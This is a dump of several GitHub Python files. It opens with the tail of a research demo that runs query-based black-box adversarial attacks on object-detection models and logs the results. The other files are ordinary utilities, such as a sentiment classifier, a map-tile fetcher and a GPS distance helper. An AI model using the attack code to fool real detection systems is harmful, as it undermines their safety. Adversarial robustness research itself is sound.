shuffle=False)\n log.logger.info('Load data from the path:{}'.format(cfg.data.test['img_prefix']))\n\n # build the model and load checkpoint\n model = build_detector(cfg.model, train_cfg=None, test_cfg=cfg.test_cfg)\n fp16_cfg = cfg.get('fp16', None)\n if fp16_cfg is not None:\n wrap_fp16_model(model)\n checkpoint = load_checkpoint(model, args.checkpoint, map_location='cpu')\n if args.fuse_conv_bn:\n model = fuse_conv_bn(model)\n # old versions did not save class info in checkpoints, this walkaround is\n # for backward compatibility\n if 'CLASSES' in checkpoint['meta']:\n model.CLASSES = checkpoint['meta']['CLASSES']\n else:\n model.CLASSES = dataset.CLASSES\n log.logger.info('checkpoints have been finishe into object detection model...')\n\n # initilaze object detector\n model = MMDataParallel(model, device_ids=[0])\n model.eval()\n\n # prepare dataset (test dataset: 991 images)\n dataset = data_loader.dataset\n\n timestamp = str(datetime.now())[:-7]\n if args.attack.split('_')[0] == 'IoUzosignsgd':\n results_records_iter_list = demo_utils.results_records_iter_list_for_zosignsgd\n elif args.attack.split('_')[0] == 'IoUss':\n results_records_iter_list = demo_utils.results_records_iter_list_for_square\n elif args.attack.split('_')[0] == 'IoUsign':\n results_records_iter_list = demo_utils.results_records_iter_list_for_signhunter\n elif args.attack.split('_')[0] == 'IoUnes':\n results_records_iter_list = demo_utils.results_records_iter_list_for_nes\n\n # init log file\n # hps_str = '{} model={} dataset={} attack={} eps={} p={} n_iter={}'.format(timestamp, args.model, dataset, args.attack, args.eps, args.p, args.n_iter)\n # log_path = '{}/{}.log'.format(args.exp_folder, hps_str)\n # # log = sq_utils.Logger(log_path)\n # log = sq_utils.Logger('')\n # log.print('All hps: {}'.format(hps_str))\n\n # init key points detector\n keypoints_models = {}\n if args.patch_attack is not None:\n for patch_attack in args.patch_attack.split(','):\n if patch_attack == 'bbox':\n log.logger.info('The keypoints get from the prediction box.')\n init_keypoints_model = None\n elif patch_attack == 'maskrcnn':\n keypoints_cfg = Config.fromfile(server_program_path + 'configs/mask_rcnn/mask_rcnn_r50_fpn_2x_coco.py')\n keypoints_checkpoint = server_checkpoint_path + 'mask_rcnn_r50_fpn_2x_coco_bbox_mAP-0.392__segm_mAP-0.354_20200505_003907-3e542a40.pth' \n log.logger.info('The keypoints get from the detector: {}'.format(patch_attack)) \n init_keypoints_model = demo_utils.init_keypoints_model(keypoints_cfg, keypoints_checkpoint, args.fuse_conv_bn) \n elif patch_attack == 'reppoints':\n keypoints_cfg = Config.fromfile(server_program_path + 'configs/reppoints/reppoints_moment_r50_fpn_gn-neck+head_1x_coco.py')\n keypoints_checkpoint = server_checkpoint_path + 'reppoints_moment_r50_fpn_gn-neck+head_1x_coco_20200329-4b38409a.pth'\n log.logger.info('The keypoints get from the detector: {}'.format(patch_attack)) \n init_keypoints_model = demo_utils.init_keypoints_model(keypoints_cfg, keypoints_checkpoint, args.fuse_conv_bn)\n elif patch_attack == 'proposal':\n keypoints_cfg = Config.fromfile(server_program_path + 'configs/faster_rcnn/faster_rcnn_r50_fpn_1x_coco.py')\n keypoints_checkpoint = server_checkpoint_path + 'faster_rcnn_r50_fpn_2x_coco_bbox_mAP-0.384_20200504_210434-a5d8aa15.pth' \n log.logger.info('The keypoints get from the detector: {}'.format(patch_attack))\n init_keypoints_model = demo_utils.init_keypoints_model(keypoints_cfg, keypoints_checkpoint, args.fuse_conv_bn)\n keypoints_models[patch_attack] = init_keypoints_model\n else:\n keypoints_models = None\n\n results = []\n total_quires = []\n total_times = []\n prog_bar = mmcv.ProgressBar(len(data_loader.dataset))\n results_records = [ [] for _ in range(len(results_records_iter_list))]\n quires_records = [ [] for _ in range(len(results_records_iter_list))]\n for index, data in enumerate(data_loader):\n # continue\n # if i != 838:\n # continue\n # get the images bound and ori_img\n x_numpy = data['img'][0].numpy().transpose(0, 2, 3, 1)\n # ori_img = torch.FloatTensor(x_numpy.copy().transpose(0, 3, 1, 2))\n ori_img = torch.FloatTensor(x_numpy.transpose(0, 3, 1, 2))\n lb, ub = x_numpy.min(), x_numpy.max() \n \n # if attack_logistics is not None and attack_logistics:\n # with torch.no_grad():\n # # get logistic scores\n # result = model(return_loss=False, rescale=True, attack_mode=True, attack_logistics=attack_logistics, **data)\n # _, labels_clean = demo_utils.get_scores_and_labels(result, ncls=len(dataset.CLASSES))\n # scores_logit_clean = result[2][0].cpu().detach().numpy()\n # else:\n # with torch.no_grad():\n # # get the bbox_scores:[n], bbox_lables[n] \n # result = model(return_loss=False, rescale=True, attack_mode=True, **data)\n # # get softmax scores and labels\n # scores_smooth_clean, labels_clean = demo_utils.get_scores_and_labels(result, ncls=len(dataset.CLASSES))\n \n # define the targeted label\n # labels_target = sq_utils.random_classes_except_current(labels_clean, len(dataset.CLASSES)) if args.targeted else labels_clean\n # labels_target_onehot = sq_utils.dense_to_onehot(labels_target, n_cls=len(dataset.CLASSES))\n\n # define the attacker \n # print(args.attack.split('_')[0])\n attacker = eval('IoUSSAttack')(\n max_loss_queries=int(args.n_iter),\n epsilon=args.eps,\n p=args.p,\n lb=lb,\n ub=ub,\n p_init=args.p_init,\n name=args.attack.split('_')[0],\n attack_model=model,\n attack_logistics=args.attack_logistics,\n attack_mode=True,\n loss=args.loss,\n targeted=args.targeted,\n ori_img=ori_img,\n model_name=args.model,\n zeta=args.zeta,\n lambda1=args.lambda1,\n patch_attack=args.patch_attack,\n keypoints_models=keypoints_models,\n attack_parallel=args.attack_parallel,\n square_expansion=args.square_expansion,\n square_init=args.square_init\n )\n \n time_start = time.time()\n\n # attack optimize\n if vis_attack_step is not None and vis_attack_step:\n queries, vis_result, results_records, queries_records = attacker.run(data, loss_fct_with_iou, early_stop_crit_fct_with_iou, vis_attack_step=vis_attack_step, results_records=results_records, quires_records=quires_records)\n else:\n queries = attacker.run(data, loss_fct, early_stop_crit_fct)\n # queries = [0.0]\n\n # save the adversarial example\n if args.exp_folder:\n img_tensor = data['img'][0]\n img_metas = data['img_metas'][0].data[0]\n imgs = tensor2imgs(img_tensor, **img_metas[0]['img_norm_cfg'])\n assert len(imgs) == len(img_metas)\n\n for i, (img, img_meta) in enumerate(zip(imgs, img_metas)):\n if args.model == \"CornerNet\":\n h, w, _ = img_meta['pad_shape']\n else:\n h, w, _ = img_meta['img_shape']\n img_show = img[:h, :w, :]\n\n ori_h, ori_w = img_meta['ori_shape'][:-1]\n img_show = mmcv.imresize(img_show, (ori_w, ori_h))\n\n out_path = osp.join(args.exp_folder, args.model)\n\n if not os.path.exists(out_path):\n os.makedirs(out_path)\n\n if args.exp_folder:\n out_file = osp.join(out_path, img_meta['filename'].split('/')[-1])\n else:\n out_file = None\n \n\n cv2.imwrite(out_file, img_show)\n\n # save the opt result on the adversarial example\n if vis_attack_step is not None and vis_attack_step:\n color_map = ['red', 'blue', 'cyan', 'yellow', 'magenta']\n batch_size = 1\n vis_step_out_dir = args.vis_step_out_dir\n if vis_step_out_dir:\n out_file = osp.join(vis_step_out_dir, args.model, img_meta['filename'].split('/')[-1])\n\n # save the result on clean image and get clean img\n if batch_size == 1 and isinstance(data['img'][0], torch.Tensor):\n img_tensor = data['img'][0]\n else:\n img_tensor = data['img'][0].data[0]\n img_metas = data['img_metas'][0].data[0]\n assert len(imgs) == len(img_metas)\n\n for i, (img, img_meta) in enumerate(zip(imgs, img_metas)):\n if args.model == \"CornerNet\":\n h, w, _ = img_meta['pad_shape']\n else:\n h, w, _ = img_meta['img_shape']\n img_show = img[:h, :w, :]\n\n ori_h, ori_w = img_meta['ori_shape'][:-1]\n img_show = mmcv.imresize(img_show, (ori_w, ori_h))\n\n img_show = model.module.show_result(\n img_show,\n vis_result[0][0],\n bbox_color=color_map[0],\n text_color=color_map[0],\n score_thr=0.5)\n \n # draw the opt result on the adversarial image \n for i in range(1, len(vis_result)-1):\n img_show = model.module.show_result(\n img_show,\n vis_result[i][0],\n bbox_color=color_map[i],\n text_color=color_map[i],\n score_thr=0.5\n )\n\n # draw the last opt result and save the result\n model.module.show_result(\n img_show,\n vis_result[-1][0],\n bbox_color=color_map[-1],\n text_color=color_map[-1],\n show=True,\n out_file=out_file,\n score_thr=0.5\n )\n \n\n # save the result on the adversarial example\n with torch.no_grad():\n result = model(return_loss=False, rescale=True, **data)\n \n batch_size = len(result)\n out_dir = args.out_dir\n if out_dir:\n if batch_size == 1 and isinstance(data['img'][0], torch.Tensor):\n img_tensor = data['img'][0]\n else:\n img_tensor = data['img'][0].data[0]\n img_metas = data['img_metas'][0].data[0]\n imgs = tensor2imgs(img_tensor, **img_metas[0]['img_norm_cfg'])\n assert len(imgs) == len(img_metas)\n\n for i, (img, img_meta) in enumerate(zip(imgs, img_metas)):\n if args.model == \"CornerNet\":\n h, w, _ = img_meta['pad_shape']\n else:\n h, w, _ = img_meta['img_shape']\n img_show = img[:h, :w, :]\n\n ori_h, ori_w = img_meta['ori_shape'][:-1]\n img_show = mmcv.imresize(img_show, (ori_w, ori_h))\n\n if out_dir:\n out_file = osp.join(out_dir, args.model, img_meta['filename'].split('/')[-1])\n else:\n out_file = None\n # cv2.imwrite(out_file, img_show)\n model.module.show_result(\n img_show,\n result[i],\n show=True,\n out_file=out_file,\n score_thr=0.7)\n \n # encode mask results\n if isinstance(result[0], tuple):\n result = [(bbox_results, encode_mask_results(mask_results))\n for bbox_results, mask_results in result]\n results.extend(result)\n\n for _ in range(batch_size):\n prog_bar.update()\n\n time_total = time.time() - time_start\n log.logger.info('IMAGE {}: quries {}, times {}'.format(index, queries, time_total))\n total_quires.append(queries)\n total_times.append(time_total)\n\n rank, _ = get_dist_info()\n if rank == 0:\n if args.out:\n print('writing results to {args.out}')\n mmcv.dump(results, args.out)\n kwargs = {} if args.eval_options is None else args.eval_options\n if args.format_only:\n dataset.format_results(results, **kwargs)\n if args.eval:\n eval_kwargs = cfg.get('evaluation', {}).copy()\n # hard-code way to remove EvalHook args\n for key in ['interval', 'tmpdir', 'start', 'gpu_collect']:\n eval_kwargs.pop(key, None)\n eval_kwargs.update(dict(metric=args.eval, **kwargs))\n for index in range(len(results_records)):\n results_record = results_records[index]\n if len(results_record) != 0:\n # if isinstance(result[0], tuple):\n # result = [(bbox_results, encode_mask_results(mask_results)) for bbox_results, mask_results in result]\n # results.extend(result)\n log.logger.info('-------------The attack {} iters result----------------'.format(str(results_records_iter_list[index])))\n queries_record = quires_records[index]\n mean_quries = np.mean(queries_record)\n median_quries = np.median(queries_record)\n \n if isinstance(results_record[0], tuple):\n results_record = [(bbox_results, encode_mask_results(mask_results)) for bbox_results, mask_results in results_record]\n \n from scipy import stats\n # mode_quries = stats.mode(queries_record)[1][0]\n log.logger.info('All {} images: mean quries {}, median_quries {}'.format(len(data_loader), mean_quries, median_quries)) \n log.logger.info(dataset.evaluate(results_record, **eval_kwargs))\n\n else:\n log.logger.info('-------------The attack {} iters result is None----------------'.format(str(results_records_iter_list[index])))\n log.logger.info('All {} images: mean quries {}, median_quries {}, mode_quries {}'.format(None, None, None, None)) \n \n total_quires = np.array(total_quires).squeeze()\n total_times = np.array(total_times).squeeze() \n mean_quries = np.mean(total_quires)\n median_quries = np.median(total_quires)\n \n from scipy import stats\n mode_quries = stats.mode(total_quires)[0][0]\n \n mean_times = np.mean(total_times)\n log.logger.info('All {} images: mean quries {}, median_quries {}, mode_quries {}, mean times {}'.format(len(data_loader), mean_quries, median_quries, None, mean_times)) \n\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"LiangSiyuan21/Parallel-Rectangle-Flip-Attack-A-Query-based-Black-box-Attack-against-Object-Detection","sub_path":"attack_demo/iou_ss_attack_demo.py","file_name":"iou_ss_attack_demo.py","file_ext":"py","file_size_in_byte":25027,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"9"} +{"seq_id":"1481420396","text":"import nltk\nnltk.download('twitter_samples') # sample tweets to train the model\nnltk.download('punkt') # pre-trained model to help tokenize words and understands names may contain a full stop.\nnltk.download('wordnet') # used to determine the base word\nnltk.download('averaged_perceptron_tagger') # determines the context of a word in a sentence\nnltk.download('stopwords') # stop words for various languages including English\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk.corpus import twitter_samples, stopwords\nfrom nltk.tag import pos_tag\nfrom nltk.tokenize import word_tokenize\nfrom nltk import FreqDist, classify, NaiveBayesClassifier\n\nimport re, string, random\n\nclass TwitterSentiment:\n def __init__(self, lang = 'english'):\n '''\n Build stopword lists, set train_model flag and accuracy.\n \n Parameters\n ==========\n lang = str: check corpus for available languages\n \n Returns\n =======\n None\n '''\n self._stopwords = set(stopwords.words(lang) + list(string.punctuation))\n self.trained_model = None\n self.model_accuracy = 0\n \n def make_predictions(self, tweet):\n '''\n Calls function to train model if required, cleans and processes the tweets, scores each tweet.\n \n Parameters\n ==========\n tweet = list: tweets to classify\n \n Returns\n =======\n results = list: classified tweets\n '''\n if not self.trained_model:\n self._train_model()\n \n processed_tweet = self.process_tweets(tweet)\n \n tweet_list = []\n for tweet in processed_tweet:\n proc_dict = dict()\n for word in tweet:\n proc_dict[word] = True\n tweet_list.append(proc_dict)\n \n if not tweet_list:\n return 'error with tweets'\n else:\n results = []\n for i, each in enumerate(tweet_list):\n results.append([i, each, self.trained_model.classify(each)])\n return results\n \n def _train_model(self):\n '''\n Trains the classification model using twitter_samples from nltk.corpus.\n \n Parameters\n ==========\n None\n \n Returns\n =======\n None\n '''\n positive_tweets = twitter_samples.strings('positive_tweets.json')\n negative_tweets = twitter_samples.strings('negative_tweets.json')\n \n processed_pos = self.process_tweets(positive_tweets)\n processed_neg = self.process_tweets(negative_tweets)\n \n pos_list = []\n for tweet in processed_pos:\n pos_dict = dict()\n for word in tweet:\n pos_dict[word] = True\n pos_list.append((pos_dict, 'positive'))\n \n neg_list = []\n for tweet in processed_neg:\n neg_dict = dict()\n for word in tweet:\n neg_dict[word] = True\n neg_list.append((neg_dict, 'negative')) \n \n all_tweets = pos_list + neg_list\n \n random.shuffle(all_tweets)\n\n train_data = all_tweets[:7000]\n test_data = all_tweets[7000:]\n\n self.trained_model = NaiveBayesClassifier.train(train_data)\n self.model_accuracy = classify.accuracy(self.trained_model, test_data)\n \n def process_tweets(self, tweets):\n '''\n Process tweets, converting to list if required.\n Cleans tweets and lemmatises them.\n \n Parameters\n ==========\n tweets = list: tweets to process\n \n Returns\n =======\n token_tweets = list: tokenized tweets\n '''\n if not type(tweets) == list:\n try:\n tweets = [tweets]\n except:\n return None\n \n cleansed_tweets = self._clean_tweets(tweets)\n \n token_tweets = self._lemmatise_tweets(cleansed_tweets)\n \n return token_tweets\n \n def _clean_tweets(self, tweets):\n '''\n Remove URLs and @users using regex and return the tweets.\n \n Parameters\n ==========\n tweets = list: tweets to process\n \n Returns\n =======\n processed_tweets = list: tweets with tags removed\n '''\n processed_tweets = []\n \n for tweet in tweets:\n tweet = tweet.lower()\n tweet = re.sub(r'http[s]?://(?:[a-z]|[0-9]|[$-_@.&+#]|[!*\\(\\),]|'\\\n r'(?:%[0-9a-f][0-9a-f]))+','', tweet)\n tweet = re.sub(r\"@[^\\s]+\", \"\", tweet)\n processed_tweets.append(tweet)\n \n return processed_tweets\n\n def _lemmatise_tweets(self, processed_tweets):\n '''\n Process a list of tweets for lemmatising (return the root word).\n \n Parameters\n ==========\n processed_tweets = list: tweets with tags removed\n \n Returns\n =======\n lem_tweets = list: list of lemmatised tweets.\n '''\n lemm_tweets = []\n \n for tweet in processed_tweets:\n tweet = word_tokenize(tweet)\n lemm_tweets.append(self._lemm_tweet(tweet))\n \n return lemm_tweets\n \n def _lemm_tweet(self, tweet):\n '''\n Lemmatise the tweets (return the root word), tokenize the tweets.\n Tag as noun verb or adjective and then lemmatise the word to get the root word for easy comparison.\n \n Parameters\n ==========\n tweet = str: single tweet with tags removed\n \n Returns\n =======\n lem_tweets = list: lemmatised tweet.\n '''\n lemmatizer = WordNetLemmatizer() \n lemmatized_sentence = []\n \n for word, tag in pos_tag(tweet):\n if tag.startswith('NN'):\n pos = 'n'\n elif tag.startswith('VB'):\n pos = 'v'\n else:\n pos = 'a'\n lemmatized_sentence.append(lemmatizer.lemmatize(word, pos))\n \n lemmatized_sentence = [word for word in lemmatized_sentence if word not in self._stopwords]\n \n return lemmatized_sentence","repo_name":"charlieb954/twitter_sentiment","sub_path":"twitter_sentiment.py","file_name":"twitter_sentiment.py","file_ext":"py","file_size_in_byte":6301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"74592495332","text":"#!/usr/bin/env python3\n\nimport argparse\nimport copy\nimport json\nimport mercantile\nimport mimetypes\nimport multiprocessing\nimport pathlib\nimport queue\nimport requests\nimport supermercado\n\nfrom functools import reduce\n\ndef generate_tile_def_from_list(args_tiles):\n \"\"\"\n yield [x, y, z, xmin, ymin, xmax, ymax]\n\n @param args_tiles\n a list of tile definition files (handlers) containing\n \"x,y,z,xmin,ymin,xmax,ymax\" tuple strings\n \"\"\"\n for f in args_tiles:\n with f as f:\n for line in f:\n [x, y, z, *bbox] = line.strip().split(\",\")\n yield list(map(int,[x, y, z])) + list(map(float, bbox))\n\ndef geerate_tile_def_from_feature(features, zooms, projected):\n \"\"\"\n yield [x, y, z, xmin, ymin, xmax, ymax]\n\n @param features\n a list geojson features (i.e. polygon) objects\n @param zooms\n a list of zoom levels\n @param projected\n 'mercator' or 'geographic'\n \"\"\"\n # $ supermercado burn \n features = [f for f in supermercado.super_utils.filter_features(features)]\n for zoom in zooms:\n zr = zoom.split(\"-\")\n for z in range(int(zr[0]), int(zr[1] if len(zr) > 1 else zr[0]) + 1):\n for t in supermercado.burntiles.burn(features, z):\n tile = t.tolist()\n # $ mercantile shapes --mercator\n feature = mercantile.feature(\n tile,\n fid=None,\n props={},\n projected=projected,\n buffer=None,\n precision=None\n )\n bbox = feature[\"bbox\"]\n yield tile + bbox\n\ndef generate_tile_def_from_bbox(args_bboxes, zooms, projected):\n \"\"\"\n yield [x, y, z, xmin, ymin, xmax, ymax]\n\n @param args_bboxes\n a list of bbox definitions in comma separated string\n @param zooms\n a list of zoom levels\n @param projected\n 'mercator' or 'geographic'\n \"\"\"\n for f in args_bboxes:\n bbox = list(map(float, f.split(\",\")))\n gj = {\n \"type\": \"Feature\",\n \"bbox\": bbox,\n \"geometry\": {\n \"type\": \"Polygon\",\n \"coordinates\": [[\n [bbox[0], bbox[1]], [bbox[2], bbox[1]], [bbox[2], bbox[3]], [bbox[0], bbox[3]], [bbox[0], bbox[1]]\n ]]\n }\n }\n yield from geerate_tile_def_from_feature([gj], zooms, projected)\n\ndef generate_tile_def_from_area(args_areas, zooms, projected):\n \"\"\"\n yield [x, y, z, xmin, ymin, xmax, ymax]\n\n @param args_areas\n a list of files defining polygon areas with geojson\n @param zooms\n a list of zoom levels\n @param projected\n 'mercator' or 'geographic'\n \"\"\"\n for f in args_areas:\n with f as f:\n area = json.load(f)\n yield from geerate_tile_def_from_feature(area[\"features\"], zooms, projected)\n\ndef fetch_tile_worker(id, input_queue, stop_event, server, output, force, stat):\n counter_total = 0\n counter_attempt = 0\n counter_ok = 0\n\n ext = mimetypes.guess_extension(server[\"parameter\"][\"format\"])\n\n with requests.Session() as session:\n while not stop_event.is_set():\n try:\n x, y, z, bbox = input_queue.get(True, 1)\n #print (id, x, y, z)\n counter_total += 1\n\n out_dir = output / str(z) / str(x)\n out_file = out_dir / \"{}{}\".format(y, ext)\n\n # skip already fetched tiles\n if out_file.is_file() and not force:\n input_queue.task_done()\n continue\n\n # copy parameter object in case of coccurency?\n params = copy.deepcopy(server[\"parameter\"])\n params[\"bbox\"] = \",\".join(map(str, bbox))\n\n counter_attempt += 1\n r = session.get(server[\"url\"], params=params)\n if r.ok:\n out_dir.mkdir(parents=True, exist_ok=True)\n with open(out_file, 'wb') as out:\n out.write(r.content)\n counter_ok += 1\n\n input_queue.task_done()\n except queue.Empty:\n continue\n\n stat[id] = { \"counter_total\": counter_total,\n \"counter_attempt\": counter_attempt,\n \"counter_ok\" : counter_ok }\n\ndef fetch_tiles(server, tile_def_generator, output=pathlib.Path('.'), force=False):\n \"\"\"\n fetch and store tiles\n\n @param server\n server definition object\n @param tile_def_generator\n generator of tile definitions consisting of [x, y, z, bbox] tuples\n @param output\n output folder path\n @param force\n flag to force to overwrite\n \"\"\"\n\n input_queue = multiprocessing.JoinableQueue()\n stop_event = multiprocessing.Event()\n statistic = multiprocessing.Manager().dict()\n\n workers = []\n for i in range(server[\"concurrency\"]):\n p = multiprocessing.Process(target=fetch_tile_worker,\n args=(i, input_queue, stop_event, server, output, force, statistic))\n workers.append(p)\n p.start()\n\n for [x, y, z, *bbox] in tile_def_generator:\n input_queue.put([x, y, z, bbox])\n\n input_queue.join()\n stop_event.set()\n for w in workers:\n w.join()\n\n def collect_result(s1, s2):\n if s1:\n return {\n \"counter_total\": s1[\"counter_total\"] + s2[\"counter_total\"],\n \"counter_attempt\": s1[\"counter_attempt\"] + s2[\"counter_attempt\"],\n \"counter_ok\": s1[\"counter_ok\"] + s2[\"counter_ok\"]\n }\n else:\n return s2\n\n result = reduce(collect_result, statistic.values(), None)\n print (\"Total: {}, Ok: {}, Failed: {}, Skipped: {}\".format(\n result[\"counter_total\"],\n result[\"counter_ok\"],\n result[\"counter_attempt\"] - result[\"counter_ok\"],\n result[\"counter_total\"] - result[\"counter_attempt\"]))\n\ndef main():\n parser = argparse.ArgumentParser()\n\n group0 = parser.add_argument_group(title='common')\n group0.add_argument('-s', '--server', metavar='',\n type=argparse.FileType('r'),\n help='WMS server definition (e.g. url and parameters) file in JSON format',\n required=True)\n group0.add_argument('-o', '--output', metavar='',\n type=lambda p: pathlib.Path(p).absolute(),\n default='./',\n help='output folder path')\n group0.add_argument('--force', action='store_true',\n help='force overwrite already fetched tiles, otherwise it will be skipped')\n\n group1 = parser.add_argument_group(title='retrieve tiles defined explicitly')\n group1.add_argument('-t', '--tile', metavar='',\n type=argparse.FileType('r'), nargs='+',\n help='Web map tile definition file with comma-separated strings: \"x,y,z,xmin,ymin,xmax,ymax\"')\n\n group2 = parser.add_argument_group(title='retrieve tiles defined by area(s) and zoom level(s).',\n description='The area can be either defined by -b or -g. The argument -z is always required.')\n group2.add_argument('-z', '--zoom', metavar='',\n nargs='+',\n help='zoom level(s). A zoom range can be denoted as with a dash. E.g. 1-10')\n group2.add_argument('-b', '--bbox', metavar='',\n nargs='+',\n help='bounding box(es) in Lat/Lon as comma-separated string')\n group2.add_argument('-g', '--geojson', metavar='',\n type=argparse.FileType('r'),\n nargs='+',\n help='GEOJSON file(s) defining polygon area(s)')\n\n args = parser.parse_args()\n\n # WMS server definition\n server = None\n with args.server as f:\n server = json.load(f)\n\n if args.tile:\n fetch_tiles(server, generate_tile_def_from_list(args.tile), args.output, args.force);\n elif args.zoom:\n if server[\"parameter\"][\"srs\"] == \"EPSG:3857\":\n projected = \"mercator\"\n elif server[\"parameter\"][\"srs\"] == \"EPSG:4326\":\n projected = \"geographic\"\n else:\n raise argparse.ArgumentTypeError('Only EPSG:3857 and EPSG:4326 are supported.')\n if args.geojson:\n fetch_tiles(server, generate_tile_def_from_area(args.geojson, args.zoom, projected), args.output, args.force)\n elif args.bbox:\n fetch_tiles(server, generate_tile_def_from_bbox(args.bbox, args.zoom, projected), args.output, args.force)\n else:\n raise argparse.ArgumentTypeError('No explcit tile (-t) or area (-z. -b, -g) is defined')\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"easz/wms-tile-get","sub_path":"scripts/wms_tile_get.py","file_name":"wms_tile_get.py","file_ext":"py","file_size_in_byte":9190,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"9"} +{"seq_id":"6648100709","text":"import threading\nimport time\n\ng_num = 100\ndef MyThread():\n\tglobal g_num\n\tg_num += 100\n\tprint(\"线程一结束+%d\"%g_num)\n\ndef MyThread2():\n\tglobal g_num\n\tprint(\"线程2中%d\"%g_num)\n\n\nif __name__ == \"__main__\":\n\tt1 = threading.Thread(target = MyThread)\n\tt1.start()\n\ttime.sleep(1)#保证完成对g_num的改变\n\n\tt2 = threading.Thread(target = MyThread2)\n\tt2.start()","repo_name":"tyut-zhuran/python_learn","sub_path":"基础/多线程全局变量.py","file_name":"多线程全局变量.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"26429747308","text":"\"\"\"\r\nContains the construction for the OwlSat Cube Satellite\r\n\"\"\"\r\n\r\nfrom SatBuilder import *\r\n\r\n### OwlSat Satellite Instance Declaration ###\r\n\r\nOWLSAT_EDGE_DIMENSION = 0.1 # m\r\nOWLSAT_MASS = 1.387\r\n\r\nowlsat_sensors = {\"Accelerometer\": Accelerometer(),\r\n \"Gyroscope\": Gyroscope(),\r\n \"Magnetometer\": Magnetometer(),\r\n \"EUV_x+\": EUV(),\r\n \"EUV_x-\": EUV(),\r\n \"EUV_y+\": EUV(),\r\n \"EUV_y-\": EUV(),\r\n \"EUV_z+\": EUV(),\r\n \"EUV_z-\": EUV(),\r\n \"GPS_pos\": GNSS_POS(),\r\n \"GPS_vel\": GNSS_VEL()}\r\nowlsat_actuators = {\"Magnetorquer\": Magnetorquer()}\r\n\r\nowlsat_physics = {\"dimensions\": OWLSAT_EDGE_DIMENSION,\r\n \"mass\": OWLSAT_MASS,\r\n \"moi\": 1.0/6.0 * OWLSAT_MASS}\r\n\r\nowlsat = Satellite(owlsat_sensors, owlsat_actuators, owlsat_physics)\r\n","repo_name":"OWLSAT/ADCS-Sim","sub_path":"OwlSat.py","file_name":"OwlSat.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"22445435141","text":"import math\n\n__earth_radius = 6378.137\n\n\ndef rad(d):\n return d * math.pi / 180.0\n\n\ndef calculate_distance(lat1, lng1, lat2, lng2):\n \"\"\"\n 根据两个位置的经纬度,来计算两地的距离(单位为KM)\n\n :param lat1: 用户纬度\n\n :param lng1: 用户经度\n\n :param lat2: 目标纬度\n\n :param lng2: 目标经度\n\n :return: 返回计算出来的两点距离\n \"\"\"\n radLat1 = rad(lat1)\n\n radLat2 = rad(lat2)\n\n difference = radLat1 - radLat2\n\n mdifference = rad(lng1) - rad(lng2)\n\n distance = 2 * math.asin(math.sqrt(math.pow(math.sin(difference / 2), 2) + math.cos(radLat1) * math.cos(radLat2) * math.pow(math.sin(mdifference / 2), 2)))\n distance = distance * __earth_radius\n distance = round(distance * 10000) / 10000\n distance = round(distance, 2)\n\n return distance\n\n\ndef calculate_area(latitude, longitude, radius):\n \"\"\"\n 获取当前用户一定距离以内的经纬度值\n\n :param latitude: 纬度\n\n :param longitude: 经度\n\n :param radius: 半径范围(单位M)\n\n :return: 返回计算出来的范围经纬度 {'minLat':最小纬度, 'maxLat':最大纬度, 'minLng':最小经度, 'maxLng':最大经度}\n \"\"\"\n degree = (24901 * 1609) / 360.0\n\n mpdLng = abs(degree * math.cos(latitude * (math.pi / 180)))\n dpmLng = 1 / mpdLng\n radiusLng = dpmLng * radius\n # 获取最小经度\n minLng = longitude - radiusLng\n # 获取最大经度\n maxLng = longitude + radiusLng\n\n dpmLat = 1 / degree\n radiusLat = dpmLat * radius\n # 获取最小纬度\n minLat = latitude - radiusLat\n # 获取最大纬度\n maxLat = latitude + radiusLat\n\n map = {}\n map['minLat'] = minLat\n map['maxLat'] = maxLat\n map['minLng'] = minLng\n map['maxLng'] = maxLng\n\n return map\n\n\nif __name__ == '__main__':\n print(calculate_area(24.46, 118.1, 10000))\n","repo_name":"zhengxiangqi/template-for-django","sub_path":"rzutils/gpsdistance.py","file_name":"gpsdistance.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"30398094572","text":"from collections import deque\r\n\r\n\r\nclass Solution:\r\n def convertToTitle(self, n: int) -> str:\r\n lookup = {i: chr(65 + i) for i in range(26)}\r\n q = deque([])\r\n if n == 0:\r\n return \"A\"\r\n while n != 0:\r\n n -= 1\r\n q.appendleft(lookup[n % 26])\r\n n = int(n / 26)\r\n return \"\".join(q)\r\n","repo_name":"gavinz0228/AlgoPractice","sub_path":"LeetCode/168 - Excel Sheet Column Title/excelSheetColumnTile.py","file_name":"excelSheetColumnTile.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"31584605068","text":"import argparse\nimport protview.junction_peptides_main as junction_peptides_main\n\nparser = argparse.ArgumentParser(\n description=\"filter for peptides that cover exon-exon junctions\", add_help=False)\n\nparser.add_argument('rpg_file',\n help='csv file containing the peptides to be filtered')\nparser.add_argument('cds_files', nargs=2,\n help='both csv files containing extracted coding sequences for each DNA strand, ending in +/-_cdsdf.csv')\nparser.add_argument('output_name',\n help='desired name of output csv file, ProtView will automatically differentiate between DNA strands')\ndef main():\n args = parser.parse_args()\n\n if args.rpg_file and args.cds_files and args.output_name:\n print('filtering {} for junction covering peptides'.format(args.rpg_file))\n output_name_without_extension = args.output_name.replace('.csv', '')\n junction_peptides_main.junction_spanning(args.cds_files, args.rpg_file, args.output_name)\n print('output: {}_+_.csv, {}_-_.csv'.format(output_name_without_extension, output_name_without_extension))","repo_name":"SSPuliasis/ProtView","sub_path":"protview/junction_peptides_args.py","file_name":"junction_peptides_args.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"9"} +{"seq_id":"71040845414","text":"import vaex\nfrom astropy import coordinates as coord\nfrom astropy import units as u\nimport numpy as np\n\n# Gala\nimport gala.dynamics as gd\nimport gala.integrate as 